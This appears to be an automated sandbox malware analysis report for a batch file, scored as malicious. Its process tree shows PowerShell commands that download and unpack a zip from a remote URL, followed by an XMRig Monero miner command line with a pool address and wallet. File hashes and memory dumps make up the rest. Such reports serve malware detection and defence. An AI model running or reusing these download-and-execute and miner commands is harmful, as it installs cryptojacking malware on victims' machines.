Analysis

  • max time kernel
    1802s
  • max time network
    1803s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/10/2023, 22:32

General

  • Target

    tesy - Copy (5).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1144
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3748
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3068
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3616
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:1488
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
        PID:4468

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        2f57fde6b33e89a63cf0dfdd6e60a351

        SHA1

        445bf1b07223a04f8a159581a3d37d630273010f

        SHA256

        3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

        SHA512

        42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        08f9f3eb63ff567d1ee2a25e9bbf18f0

        SHA1

        6bf06056d1bb14c183490caf950e29ac9d73643a

        SHA256

        82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

        SHA512

        425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cxzfftdl.iq5.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\test.zip

        Filesize

        3.2MB

        MD5

        3238c0d25d84b6f0bb645bbb29cdbf61

        SHA1

        11ae550c8a82c0793862c366b92072ad7e18befe

        SHA256

        b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

        SHA512

        d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

        Filesize

        170B

        MD5

        78657df2e34e338ff135d3dde69177bf

        SHA1

        d5048a4270b7ba599e941d26d61bfa2e8da31fce

        SHA256

        9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

        SHA512

        f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

        Filesize

        7.9MB

        MD5

        4813fa6d610e180b097eae0ce636d2aa

        SHA1

        1e9cd17ea32af1337dd9a664431c809dd8a64d76

        SHA256

        9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

        SHA512

        5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

      • memory/3616-75-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-79-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-114-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-113-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-112-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-111-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-110-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-46-0x000001FA9BEB0000-0x000001FA9BED0000-memory.dmp

        Filesize

        128KB

      • memory/3616-47-0x000001FB2DF30000-0x000001FB2DF70000-memory.dmp

        Filesize

        256KB

      • memory/3616-48-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-49-0x000001FB2E5C0000-0x000001FB2E5E0000-memory.dmp

        Filesize

        128KB

      • memory/3616-50-0x000001FB2E390000-0x000001FB2E3B0000-memory.dmp

        Filesize

        128KB

      • memory/3616-51-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-52-0x000001FB2E5C0000-0x000001FB2E5E0000-memory.dmp

        Filesize

        128KB

      • memory/3616-53-0x000001FB2E390000-0x000001FB2E3B0000-memory.dmp

        Filesize

        128KB

      • memory/3616-54-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-55-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-56-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-57-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-58-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-59-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-60-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-61-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-62-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-63-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-64-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-65-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-66-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-67-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-68-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-69-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-70-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-71-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-72-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-73-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-74-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-109-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-76-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-77-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-78-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-108-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-80-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-81-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-82-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-83-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-84-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-85-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-86-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-87-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-88-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-89-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-90-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-91-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-92-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-93-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-94-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-95-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-96-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-97-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-98-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-99-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-100-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-101-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-102-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-103-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-104-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-105-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-106-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3616-107-0x00007FF6A8BB0000-0x00007FF6A96B3000-memory.dmp

        Filesize

        11.0MB

      • memory/3748-32-0x000001BC59EC0000-0x000001BC59ED2000-memory.dmp

        Filesize

        72KB

      • memory/3748-19-0x00007FF8BE4E0000-0x00007FF8BEFA1000-memory.dmp

        Filesize

        10.8MB

      • memory/3748-20-0x000001BC415B0000-0x000001BC415C0000-memory.dmp

        Filesize

        64KB

      • memory/3748-31-0x000001BC415B0000-0x000001BC415C0000-memory.dmp

        Filesize

        64KB

      • memory/3748-42-0x00007FF8BE4E0000-0x00007FF8BEFA1000-memory.dmp

        Filesize

        10.8MB

      • memory/3748-33-0x000001BC59EB0000-0x000001BC59EBA000-memory.dmp

        Filesize

        40KB

      • memory/4660-0-0x0000021D32EC0000-0x0000021D32EE2000-memory.dmp

        Filesize

        136KB

      • memory/4660-10-0x00007FF8BE4E0000-0x00007FF8BEFA1000-memory.dmp

        Filesize

        10.8MB

      • memory/4660-11-0x0000021D32370000-0x0000021D32380000-memory.dmp

        Filesize

        64KB

      • memory/4660-12-0x0000021D32370000-0x0000021D32380000-memory.dmp

        Filesize

        64KB

      • memory/4660-13-0x0000021D32370000-0x0000021D32380000-memory.dmp

        Filesize

        64KB

      • memory/4660-17-0x00007FF8BE4E0000-0x00007FF8BEFA1000-memory.dmp

        Filesize

        10.8MB